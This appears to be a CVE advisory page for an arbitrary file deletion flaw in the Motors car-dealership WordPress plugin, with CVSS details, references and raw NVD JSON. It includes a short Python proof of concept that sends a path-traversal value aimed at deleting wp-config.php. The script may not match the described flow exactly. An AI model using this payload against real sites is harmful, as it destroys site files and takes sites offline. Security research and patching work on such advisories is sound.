CVE-2026-3892

Description

The Motors – Car Dealership & Classified Listings Plugin plugin for WordPress is vulnerable to arbitrary file deletion in all versions up to, and including, 1.4.107. This is due to insufficient file path validation in the become-dealer logo upload flow. The plugin allows any authenticated user to set an arbitrary filesystem path via the profile update handler. This makes it possible for authenticated attackers, with subscriber level access and above, to delete arbitrary files on the server.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Motors – Car Dealership & Classified Listings Plugin <= 1.4.107

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-3892 Proof of Concept
# Target: WordPress with Motors Plugin <= 1.4.107

url = "http://target.com/wp-admin/admin-ajax.php"

# Attacker session cookie (Subscriber level or higher)
cookies = {
    "wordpress_logged_in_hash": "user_session_token_here"
}

# Malicious payload attempting to delete a critical file
# utilizing path traversal
payload_data = {
    "action": "stm_motors_update_dealer_data",
    "stm_dealer_logo": "../../../wp-config.php"  # Target file to delete
}

try:
    response = requests.post(url, data=payload_data, cookies=cookies)
    if response.status_code == 200:
        print("[+] Payload sent successfully.")
        print("[+] Check if the target file has been deleted.")
    else:
        print("[-] Request failed.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3892
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3892
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3892/
[4] VulDB https://vuldb.com/cve/CVE-2026-3892
[5] https://plugins.trac.wordpress.org/changeset/3505874/
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/52cbc6a4-9825-4b26-8653-0c75cf5247c5?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3892", "sourceIdentifier": "[email protected]", "published": "2026-05-14T07:16:19.837", "lastModified": "2026-05-14T14:28:41.283", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Motors – Car Dealership & Classified Listings Plugin plugin for WordPress is vulnerable to arbitrary file deletion in all versions up to, and including, 1.4.107. This is due to insufficient file path validation in the become-dealer logo upload flow. The plugin allows any authenticated user to set an arbitrary filesystem path via the profile update handler. This makes it possible for authenticated attackers, with subscriber level access and above, to delete arbitrary files on the server."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-73"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3505874/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/52cbc6a4-9825-4b26-8653-0c75cf5247c5?source=cve", "source": "[email protected]"}]}}